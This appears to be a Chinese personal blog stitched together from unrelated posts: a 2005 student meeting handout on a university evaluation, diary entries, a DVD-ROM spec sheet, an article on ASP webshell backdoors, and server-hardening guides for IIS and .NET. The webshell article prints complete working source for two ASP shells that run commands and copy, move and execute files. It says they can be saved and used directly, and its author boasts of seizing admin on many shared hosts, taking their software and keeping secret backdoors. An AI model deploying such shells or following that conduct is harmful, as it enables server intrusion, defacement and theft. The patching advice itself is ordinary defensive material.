主题是评建的，下面是我准备的团会资料

104030602团支部团会资料

                                                      2005-10-16

12月10日―――16日专家组进校  今天倒计时55天

评估的背景：

2004年全国高校招生人数已达420万，比1998年增加了240万。在人数增长的同时，接纳这些学生的学校却并没有同比例增长，还是600余所。因此，增加了200多万名学生后，会不会导致教学质量的下降呢？

在这一背景下，去年10月，教育部建立了每五年一轮的高校教学评估制度，并且专门组织实施对于各高校的教学评估以及各项专业的评估，同时履行质量监控的行政职能，而且每年公开发布一次全国高校教学基本状态的相关数据。

本科院校的教学评估由教育部统一领导，由高等教育教学评估中心组织实施；。但是，教育部还要组织专家进行抽查评估。这其中，教育部每年要给予评估的本科院校和独立学院应当在200所左右

我们是评估的受益者。评估之后，学校的整体办学条件和办学实力得到很大提高，办学经验进一步丰富，社会声誉得到很大提升。这些将成为我们取之不竭，用之不尽的有形和无形的资源。所有说这次本科教学水平评估的最大受益者是我们。本科教学水平评估的出发点是以学生为本，以有利于培养学生成才。评估将给广大同学带来教学条件的改善，教学质量的提高，为教育教学创造一个良好的软件和硬件环境。

大家可以看见，由于评估，我们学校的硬件软件设施的改善，学校环境方面的改善。我们学校提出的目标是保良争优！（前一次评估我们学校是以良好通过的，在重庆市处于领先的地位）。同时，评估得优，不但能使学校的教学工作上一个新台阶，也能使学校的总体工作上一个新台阶，社会知名度上一个新台阶。学校知名度上去了，对招生生源，毕业生就业，吸引人才和其他教育资源都有利。可以说创优关系着我们的现在和未来，我们是本科教学水平评估的最大受益者。此外，广大学生对教学评估的认识和态度，以什么样的姿态迎接和参加评估，将直接关系到评估的结果和效果。因此，作为学生更应该积极主动地为迎接评估做贡献，为母校争光添彩。

1.以评促建  评建结合  以评促管  重在建设  以评促改

   答案：以评促改，以评促建，以评促管，评建结合，重在建设。

  2.、教育部“教学改革与质量工程”的主要内容不包括以下（ D   ）

       A、教学内容的改革       B、整个高等教育的人才培养模式的改革

       C、怎样提高在校大学生的质量问题       D、教育思想观念的改革

3. 1903年，美国莱特兄弟驾驶着自己设计制造的___飞机进行了一次划时代的飞行，成为航空史上的里程？ B

   A、“小男孩”号  B、“飞行者”1号  C、“莱特兄弟”1号  D、“勇敢者”号

  4. 称为近代科学之父的是？D

A、  牛顿  B、哥白尼  C、亚里士多德 D、伽利略

  5 著名的“马德堡半球实验”，是为了证明哪种科学现象？B

   A、液体浮力   B、大气压强   C、物体重力

电脑类

  6 所谓“绿色电脑”的标准是符合“能源之星”，下列选项哪个不在其范围之类？ A

    A、对人体有益无害   B、监视器  C、符合环境保护要求   D、待机状态

  7 当前很多高科技公司都设了CIO这个职位，CIO的意思是：B

 A、  首席运营官  B、首席信息官  C、首席技术官  D、首席财务官

常识类

  8 传统彩瓷“素三彩”之所以称“素”是因为不用：C

A、绿色   B、黑色   C、红色   D、棕色

  9 乘坐两排轮子的大型客车，坐在哪里最颠簸？ B

A、车轮正上方   B、车顶   C、车中间处   D、都一样

  10 烤全羊烤的是：B

A、黄羊   B、绵羊   C、羚羊   D、山羊

  11 以下哪一种东西，是川菜的常用调料？C

A、孜然   B、紫苏   C、豆瓣   D、香椿

目前我们要做的就是积极行动起来，以饱满的精神状态投入到学习中去，从自己的一举一动、一言一行做起，从爱护学校的一草一木做起，做好一切准备，迎接评估。经过我们团支部总结，在此整理,与大家共勉。我们班同学应该努力做到如下：

一、文明自习，不在教室里大声喧哗，杜绝课堂上打电话、发信息、吃零食等不文明现象的发生。

    二、按时作息，晚上及时休息，上、下午上课提前10分钟到教室。上好每一节课。上课不迟到、不早退、不旷课，自觉遵守课堂纪律。
    
    三、 讲究诚信，以正确的心态对待考试，考试不作弊。
    
    四、注重仪表整洁，穿着端庄得体，不穿背心、裤衩或拖鞋出入公共场所。

    五、科学上网，杜绝痴迷网络。在BBS上发表符合我们身份的言论。合理利用时间，学好科学文化知识。
    
    六、尊敬师长，团结同学，互相帮助，真诚待人。
    
    七、以校为家，爱护公共设施，不随意践踏草坪，不损坏公物，拒绝课桌文化。
    八、男女同学，自尊自爱，举止文明，言行得当，不在公共场合有过分亲密的行为。
    九、讲究卫生，不随地吐痰，不乱扔垃圾，及时清理脏乱差物品，保持寝室内务卫生整洁。
        十、排队就餐，主动收拾餐具，珍惜粮食，创造良好的就餐环境。

十一、 加强体育锻炼，积极参加各项活动，认真上体育课，不提前离开，努力锻炼身体，身体是革命的本钱。

       同学们，在迎评迫在眉睫之际，让我们全班同学行动起来，以重工学子的执著和勤勉全力投入到学习中去，营造优良的校风和学风，以自己的实际行动和必胜的信心迎接评估，确保保良争优的目标实现。记住12月10日这个日子，相信是我们人生一个值得纪念的日子。以文明勤奋的形象欢迎专家组的到来，我们相信胜利一定属于重庆工学院！我们更有理由相信，我们和理工大学有约！

                               重庆工学院  104030602团支部

                                       2005-10-16

 

 

 

今天注册了个自己名字的域名 zhenghe.biz 在雅虎注册的，才2.99美元一年。好便宜，我一口注册了5年，才125人民币。呵呵～～～以后用这个域名了。还支持邮件转发。呵呵

老婆，我这两天真的对不起你。没有和你联系。

昨天晚上喝醉了，今天白天没有给你打电话。今天晚上我又去聚会了。

这两天我并不是这样想的，但是我真的很郁闷，我没有解释的理由。

但是这次真的是我从心里感觉很对不起你的一次。在QQ看到你消息前，我就自己责备过自己了。

但是你知道吗，你说的，希望我不要让下一个她哭，我看到心里真的是流血！真的有心如刀割的感觉。

最近我活得郁闷。心里其实也不开心。我知道从前天晚上的QQ麻将对战就让你已经很不爽。这个周末对于你来说是个黑色的。对于我来说，也是一点都不开心。这都是我的错造成了，我应该这样对你。我很多时候话说得好，但是做得太差了。真的，三，我再努力改变自己一些，在努力改正自己的缺点。我是一个不会体谅老婆的人，我真的很对不起你，老婆。。。。这次我错了。如果你能够看见我的心，希望原谅我。

三下乡这次计算机学院应该是非常成功的，但是最后学校评选，计算机学院居然不是三下乡先进。团委评选了生物和材料。今天下课看到邹老师，主席他们。知道后其实我也感觉有点气氛。但是试试想想，的确计算机学院在学校的确属于毛局对象。没有办法，想想我们的书记吧。。。。。可怜的人们啊。。。。

最近好忙，我和gregry爱上网上购物了。呵呵，他200搞定无线网络。我收获更大，呵呵，36元买了个CD机，7元买了以前最爱的BENQ海岸键盘。更绝的事情是100元买跟256的笔记本内存，然后110元把128的卖掉了。呵呵。升级赚钱第一次。^_^

今天中国国少队争气。没有让我白期待这场比赛，最终获得不容易的胜利。真的很不错！

哎，上次关闭完全不是我愿意的。。无聊的黑客，利用BO的漏洞，进入了我的后台，上传了木马，让服务器差点数据大量丢失，我真的郁闷啊。

这次新开，我把地址改变了，改成blog.21diy.com了。

人的生命短暂。以前一个朋友，最近死掉了。从老包那里获得消息，我感觉很意外，今天在QQ上问了杰森以前的女朋友，我才相信杰森是真的去了。

大家要注意身体啊。弄IT的不容易啊

簡介： Toshiba SD-C2612 DVD-ROM 使用者指南

 綜合功能

 製造商/型號

 光碟機速度

 BUS 介面

 光碟格式

 DVD-ROM 特徵

 CD-ROM  特徵

 DVD-ROM 配置

 前面板

---

製造商/型號

Toshiba SD-C2612

---

光碟機速度

DVD-ROM: 8X

CD-ROM: 24X

---

BUS 介面

ATAPI

---

支援光碟格式

• DVD-ROM (DVD-5, DVD-9, DVD-10, DVD-18)
• DVD-R
• DVD-RW （讀取，單面） 橋 （影像 CD, 音像 CD)
• CD-DA
• CD+(E)G
• CD-MIDI
• CD-TEXT
• CD-ROM
• CD-ROM XA
• MIXED MODE CD
• CD-I
• CD-I 
• 多重作業階段  (Photo-CD, CD Extra, Portfolio, CD-RW, CD-R) （讀取）
• CD-R 
• CD-RW  （讀取）
• HS CD-RW
（讀取，單面）

---

綜合功能

抽屜式手動裝盤 / 自動彈出
三種彈出光碟的方法（彈出按鈕、軟體、緊急彈出孔）

---

DVD-ROM  特徵

100ms 平均存取時間
多重讀取功能
依照地區安排（RPC2 符合）
電影重放  1.6X - 2.4X

---

CD-ROM  特徵

95ms 平均存取時間
 DAE （數位化音頻提取）音頻功能
 MPC3 相容

---

DVD-ROM 組態

該  DVD-ROM 光碟機應只用於目前硬體和軟體組態。

---

前面板

圖 1.SD-C2612 DVD-ROM 前面板

彈出按鈕 (Eject)	Eject  ( 彈出)按鈕是用來打開光碟機的托盤，使您能放入或取出光碟。
忙碌顯示燈  (BUSY)	當您把光碟放入 DVD-ROM 後，光碟機定位光碟時，忙碌顯示燈會緩慢閃亮。會有以下情況： BUSY  燈關閉。 DVD-ROM 正準備讀光碟上的數據。 BUSY 燈緩慢地閃亮。表示光碟可能髒了。 BUSY 燈保持亮著。表示 DVD-ROM 正在存取數據。 BUSY 燈一直保持亮著。表示 DVD-ROM 有故障。
緊急彈出孔	當您按下彈出 (EJECT) 按鈕而 DVD 托盤不會彈出時，才能使用緊急彈出孔。
DVD 托盤	光碟放在托盤上。

126邮箱2G的邮箱做的网络硬盘,有些我的好东西.大家试试

http://www.21diy.com/126

随着ASP 技术的发展，网络上基于ASP技术开发的网站越来越多，对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门，也越来越多，而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能，所以这种ASP脚本的木马后门，不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性，对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除，为我们的网管人员提出了更高的技术要求。下面我结合个人的经验，谈一下对两款比较典型的ASP 木马的防范方法，希望对大家能够有所帮助。
以下是第一款木马的代码：
<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
运行后如下图： 在命令行里输入DIR命令点执行就可以查看目录了！！它可以使用各种DOS命令，如：copy、net、netstat等。
但是它的默认执行权限只有GUEST，也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组，那么你就有管理员权限了。这一款木马的特点是，使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO（无组件上传），那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用，所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了：
Set oScript = Server.CreateObject("WSCRIPT.SHELL") ＂建立了一个名为oScript的WSCRIPT.SHELL对象，用于命令的执行＂
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")　
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象，我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图：值得注意的是：我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下：Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
大家可能已经想到了，我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时，一定要不容易被黑客们猜到，因为例如：你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成：Set oScript = Server.CreateObject("WSCRIPT.SHELL888")，木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务，设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码：
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
<%response.write now()%><BR>程序所在的物理路径：
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径：<input type=text name=text5 value="<%=szCMD5 %>">
程序：<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szCMD1 = Request.Form("text1") 目录拷贝，不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
要查看目录，只要输入相应的目录，点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE，和执行程序。但很多命令都不能用，例如：del、net、netstat等。这个木马程的功能随然简单，但是用它来黑一个网站是足够了。比如，我们可以把网站的首页MOVE到其它地方，然后我们再COPY一个同名的黑客网页进去，就行了。

最要命的是这个木马适用于任何虚拟主机之中，也就是说我只要是服务器中的一个虚拟空间的用户，我就可以传这个木马上去，并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话，那真是死定了。
然而在我的实践中发现，中国很多的虚拟空间服务商，特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN，然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来，太难听了，应该说DOWN下来的才对。
言归正传，我们应该怎样来防范这个ASP后门木马程序呢？让我们看一下它其中的这一句代码：set shell=server.createobject("shell.application")，跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了，如果是改名，要改得复杂一点，不要让黑客们一下就猜到了。顺便说一句，如果是你给肉鸡打补丁最好是改名，并把名字记下来，这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门，以及如何防范ASP木马后门做一下总结：第一款木马功能上强大一些， 但适用范围窄，需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些，但它创建的是"shell.application"对象。在任何虚拟主机中都适用。（这一点危害确实太大了，提供支持ASP空间的管理员们，你们可得注意了！）

其实跟据对上面两款ASP木马后门的防范，大家可能已经想到了，对于ASP后门木马的防范，我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象（因为它们都是用于创建脚本命令通道的）进行改名或删除，也就是限制系统对“脚本SHELL”的创建，ASP木马也就成为无本之木、无米之炊，运行不起来了。
注：以上代码复制保存为ASP文件就可以直接使用了。 

为了更好的理解这一问题的解决方法,我们需要先介绍一下.NET Framework的安全机制。然后再结合我们的实际问题来讨论解决方案。

　　为了解决安全问题，.NET Framework提供了一种称为代码访问安全性的安全机制。代码访问安全性允许根据代码的来源和代码的标识等属性将代码设置为不同级别的信任代码,同时还详细定义了不同级别的对代码的信任，从而可以详细的对代码设置各自的权限而不是将最大权限赋给所有的代码。使用代码访问安全性，可以减小恶意代码或各种错误的代码带来的严重的系统安全性问题的可能性。您可以设置允许代码执行的一组操作，同样可以设置永远不允许代码执行的一组操作。

　　实现代码访问安全性的基础就是JIT（运行时编译）和IL（中间代码）。所以所有以公共语言运行库为目标的托管代码都会受益于代码访问安全性。非托管代码则无法完全使用代码访问安全性。
下面我们将介绍一下代码访问安全性实现的各种功能：

　　代码访问安全性是控制代码对受保护资源和操作的访问权限的一种机制。在 .NET Framework中，代码访问安全性执行下列功能：

　　· 定义权限和权限集，它们表示访问各种系统资源的权限。

　　· 使管理员能够通过将权限集与代码组关联来配置安全策略。

　　· 使代码能够请求运行所需权限以及其他一些有用的权限，以及指定代码绝对不能拥有哪些权限。

　　· 根据代码请求的权限和安全策略允许的操作，向加载的每个程序集授予权限。

　　· 使代码能够要求其调用方拥有特定的权限。

　　· 使代码能够要求其调用方拥有数字签名，从而只允许特定组织或特定站点的调用方来调用受保护的代码。

　　· 通过将调用堆栈上每个调用方所授予的权限与调用方必须拥有的权限相比较，加强运行时对代码的限制。

　　为了确定是否已授予代码相应的权限，.NET运行库的安全系统将遍历整个调用堆栈，将每个调用方所授予的权限与目前要求的权限相比较。如果调用堆栈中的任何调用方没有要求的权限，则会引发安全性异常，并会拒绝访问和相应的操作。堆栈步旨在防止引诱攻击；在这种攻击中，受信程度较低的代码调用高度信任的代码，并使用高度信任的代码执行未经授权的操作。在运行时要求所有调用方都拥有权限将影响性能，但对防止代码遭受攻击至关重要。若要优化性能，可以使代码执行较少的堆栈步；但是，任何时候这样做时均必须确保不会暴露安全缺陷。

　　还存在另外一种代码访问安全性的常见用途，即应用程序将控件从网络 Web 站点直接下载到客户端，这种方式的代码安全性也是可以在客户端进行设置的，根据签名等数据权限证书来确定是不是可以允许下载的控件运行。这种方法类似于ActiveX的安全性设置，但是比之在设置权限更加详细和强大。同JAVA APPLET的沙箱安全机制相比，.NET 的客户端控件可以在本地简单设置后访问客户端的各种资源。由于这一方面的用途不是我们的重点，所以我们在这里就不再更详细的讨论其用途及其实现原理了。

　　下面我们就谈谈如何应用这一安全特性来解决ASP.NET中存在的系统安全漏洞。由于我们介绍的系统是共享主机，所以有其特殊性，即系统管理员无法事先给所有的代码赋予相应的权限，因为每个用户都可能有各种权限要求，并且这些要求特殊权力的代码在使用中都可能出现的，所以在权限管理上随时都有各种要求。
因此在权限设置方面，不仅仅是管理员设置，也包括了各个共享主机用户的权限请求，这也正是安全代码机制的一个重要部分。

　　请求权限是您让运行库知道代码执行有哪些操作权限的方法。通过将属性（声明式语法）放到代码的程序级范围来为程序集请求权限。

　　请求内置权限的代码示例：


//The attribute is placed on the assembly level.
using System.Security.Permissions;
[assembly:PermissionSetAttribute(SecurityAction.RequestMinimum, Name = "FullTrust")]

　　将此段代码放在程序的开始部分（namespace声明之前），在编译时就会将请求的权限存储在程序集清单中。加载时，运行库检查权限请求，并应用安全策略规则来确定授予程序集哪些权限。

　　虽然我们编写的大部分代码都没有请求权限，其实不管是共享主机形式还是独立服务器形式都应该请求权限，这是因为请求权限有助于确保只将代码需要的权限授予代码。如果没有授予代码额外权限，即使某些恶意代码想利用您的代码来进行安全性破坏，它也无法操作没有赋给您自己代码相应权限的额外系统资源。您只应该请求代码需要的那些权限，而不应请求更多权限。

　　代码请求权限之后，系统管理员可以使用"权限查看"工具 (Permview.exe，位于您的.NET Framework的目录的bin目录下) 来检查您的程序集并根据其他条件来设置安全策略以决定是否给您的代码所请求的相应权限。如果您不显式地在代码中请求应用程序需要的权限，那么管理员将很难管理您的应用程序。在权限管理严格的主机上，将无法实现您的代码所要求的功能。

　　请求权限会通知运行库应用程序正常运行需要哪些权限，或具体不需要哪些权限。在.NET Framework安装后的默认状态下，所有代码都是FullTrust（完全信任）的。这时是不需要申请任何权限的，但是管理员一旦修改了代码安全，我们使用的磁盘访问就要受到限制了，这是就需要申请相应的权限了。我们上边介绍的文件管理代码就需要具有本地硬盘读写操作的能力，则应用程序必须拥有 FileIOPermission。如果代码不请求 FileIOPermission，在本地安全设置不允许应用程序拥有此权限的主机上，在应用程序尝试磁盘操作时就会引发安全性异常。即使应用程序能够处理此异常，也不会允许它操作磁盘。当然，如果您的代码不访问受保护的资源或执行受保护的操作，则不必请求任何权限。例如，如果代码只根据向它传递的输入来计算结果而不使用任何资源，则不必请求权限。如果您的代码访问受保护的资源但未请求必要的权限，则仍可能允许它执行，但如果它尝试访问某种资源而它又没有必要的权限，则可能在执行过程中失败。

现在绝大多数的虚拟主机都禁用了 ASP 的标准组件：FileSystemObject，因为这个组件为 ASP 提供了强大的文件系统访问能力，可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作（当然，这是指在使用默认设置的 Windows NT / 2000 下才能做到）。但是禁止此组件后，引起的后果就是所有利用这个组件的 ASP 将无法运行，无法满足客户的需求。
　　如何既允许 FileSystemObject 组件，又不影响服务器的安全性（即：不同虚拟主机用户之间不能使用该组件读写别人的文件）呢？这里介绍本人在实验中获得的一种方法，下文以 Windows 2000 Server 为例来说明。
　　在服务器上打开资源管理器，用鼠标右键点击各个硬盘分区或卷的盘符，在弹出菜单中选择“属性”，选择“安全”选项卡，此时就可以看到有哪些帐号可以访问这个分区（卷）及访问权限。默认安装后，出现的是“Everyone”具有完全控制的权限。点“添加”，将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去，并给予“完全控制”或相应的权限，注意，不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除，这样，就只有授权的组和用户才能访问此硬盘分区了，而 ASP 执行时，是以“IUSR_机器名”的身份访问硬盘的，这里没给该用户帐号权限，ASP 也就不能读写硬盘上的文件了。
　　下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号，然后再给每个帐号分配一个允许其完全控制的目录。
　　如下图所示，打开“计算机管理”→“本地用户和组”→“用户”，在右栏中点击鼠标右键，在弹出的菜单中选择“新用户”：





　　在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”，并将“用户下次登录时须更改密码”前的对号去掉，选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”，即：所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时，都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要，创建多个用户，创建完毕后点“关闭”：

现在新建立的用户已经出现在帐号列表中了，在列表中双击该帐号，以便进一步进行设置：

在弹出的“IUSR_VHOST1”（即刚才创建的新帐号）属性对话框中点“隶属于”选项卡：

刚建立的帐号默认是属于“Users”组，选中该组，点“删除”：

　　现在出现的是如下图所示，此时再点“添加”：

在弹出的“选择 组”对话框中找到“Guests”，点“添加”，此组就会出现在下方的文本框中，然后点“确定”：

　　出现的就是如下图所示的内容，点“确定”关闭此对话框：

　　打开“Internet 信息服务”，开始对虚拟主机进行设置，本例中的以对“第一虚拟主机”设置为例进行说明，右击该主机名，在弹出的菜单中选择“属性”：

　　弹出一个“第一虚拟主机 属性”的对话框，从对话框中可以看到该虚拟主机用户的使用的是“F:\VHOST1”这个文件夹：

　　暂时先不管刚才的“第一虚拟主机 属性”对话框，切换到“资源管理器”，找到“F:\VHOST1”这个文件夹，右击，选“属性”→“安全”选项卡，此时可以看到该文件夹的默认安全设置是“Everyone”完全控制（视不同情况显示的内容不完全一样），首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉：

此时会弹出如下图所示的“安全”警告，点“删除”：

　此时安全选项卡中的所有组和用户都将被清空（如果没有清空，请使用“删除”将其清空），然后点“添加”按钮。

　　将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来，将给予完全控制的权限，还可以根据实际需要添加其他组或用户，但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去！

　　再切换到前面打开的“第一虚拟主机 属性”的对话框，打开“目录安全性”选项卡，点匿名访问和验证控制的“编辑”：

　　在弹出的“验证方法”对方框（如下图所示），点“编辑”：

　　弹出了“匿名用户帐号”，默认的就是“IUSR_机器名”，点“浏览”：

　　在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”，双击：

　此时匿名用户名就改过来了，在密码框中输入前面创建时，为该帐号设置的密码：

　　再确定一遍密码：

　　OK，完成了，点确定关闭这些对话框。
　　经此设置后，“第一虚拟主机”的用户，使用 ASP 的 FileSystemObject 组件也只能访问自己的目录：F:\VHOST1 下的内容，当试图访问其他内容时，会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。
　　另：如果该用户需要读取硬盘的分区容量及硬盘的序列号，那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容，请右键点击该硬盘的分区（卷），选择“属性”→“安全”，将这个用户的帐号添加到列表中，并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”，所以不会影响下面的子目录的权限设置。

此方法可以从根本上杜绝FSO的虚拟主机问题，昨天晚上我也试用了这一方法很方便的解决了FSO的问题。

在Microsoft .NET Framework Configuration中可以设置所有关于.NET Framework的属性。
  点击我的电脑，打开下拉菜单，我们可以看到程序集缓存、已配置程序集、远程处理服务、运行库安全策略、应用程序等五项。运行库安全策略设置是我们这篇文章的重点。
   
  　　我们可以先查看一下程序集缓存，在这里我们可以看到所有的全局程序集缓存，全局程序集缓存中存储了专门指定给由计算机中若干应用程序共享的程序集。在这里我们可以发现我们可以使用的所有的程序集，同时也可以添加和删除某些程序集。详细操作请参见.NET Framework SDK文档。
   
  　　我们在这里主要讨论的是运行库安全策略。在此策略中，按层次结构由高到低分为四个级别，即：企业、计算机、用户、应用程序。在计算权限授予时，运行库从该层次结构的顶部开始，然后向下进行计算。较低的策略级别不能对在较高级别上授予的权限进行增加，但是可以使权限减少。这就是说如果我们将计算机策略设置为较小的权限时，可以不必更改企业策略就可以使设置的权限生效，也就是说权限检查的顺序是从低级别到高级别，只有在低级别中不存在的设置才会检查上一级的设置。默认情况下，用户策略和应用程序域策略的限制性小于计算机策略和企业级策略。大部分默认策略存在于计算机级别。所以我们需要将默认安装的主机的权限在计算机级别上进行修改，修改的内容根据主机是不是共享主机，主机应用的其他不明代码的可能性来设置。如果是我们讨论的共享主机的话，在计算机级别上就尽量将权限设的小一些，为了避免我们讨论的文件系统安全问题，一定要注意权限中的本地磁盘访问权限。
   
  　　我们打开计算机策略设置可以发现几个默认的代码组、权限集和策略程序集。
   
  　　根据需要，我们可以添加代码组和自定义的权限集。
   
  　　在添加代码组的时候可以选择几种条件，主要的条件类型：默认为All Code、应用程序目录、哈希、强名称、作者、站点等。
   
  　　对于我们所要讨论的共享主机，我们需要将My_Computer_Zone下的All Code的权限更改为不能进行磁盘读写，在更改之前，我们需要先定义一个权限集。这一权限集的作用就是将我们需要点击权限集，右键快捷菜单中选择新建，会出现一个创建权限集的窗口，这里需要给我们新建的权限集命名。下一步就是将单个权限分配给权限集。如下图所示。





在这里我们可以给这个新建的权限集赋予一个的系统权限，如上图所示，可用的权限包括：目录服务、DNS、事件日志、环境变量、文件IO、OLEDB数据库操作、注册表等等。我们主要要说明的是文件IO操作，其他的权限操作可以根据自己的需求来设置。这里我们就不再说明了。
   
  　　在文件IO的权限设置中我们可以自定义针对每一个目录的权限，这里包括读、写、追加、路径盘等操作，在这里我们可以将我们需要的目录权限添加到列表中。因为我们是利用这一权限使所有没有配置权限的代码不可以进行文件IO操作，所以我们不强文件IO添加到分配的权限中。
   
  　　新建了这一权限集后，我们更改一下默认设置，即将All Code的权限设置为此新建的权限集，也就是说所有没有在此定义代码都不能访问文件IO系统。
   
  　　这里需要注意一件事情，因为Microsoft .NET Framework Configuration本身也需要文件IO权限，如果没有单独分配给Configuration一个文件IO操作权限的话，那么您就不能再次使用Configuration来设置权限了，只能重新安装.NET Framework了。所以我们需要将FullTrust权限分配给Configuration所使用的Dll，即mscorcfg.dll。在添加时，成员条件可以选择强名称，使用"导入",到winnt/window .net/framework/versionnumber/下选择mscorcfg.dll。如果需要运行其他配置程序，还需要设置相应的权限，这些系统程序一般都在系统程序集缓存中。
   
  　　这样我们就完成了一个简单的设置，可以防止任何未经验证的代码访问文件IO系统。这样就从根本上防止了磁盘恶意操作。
   
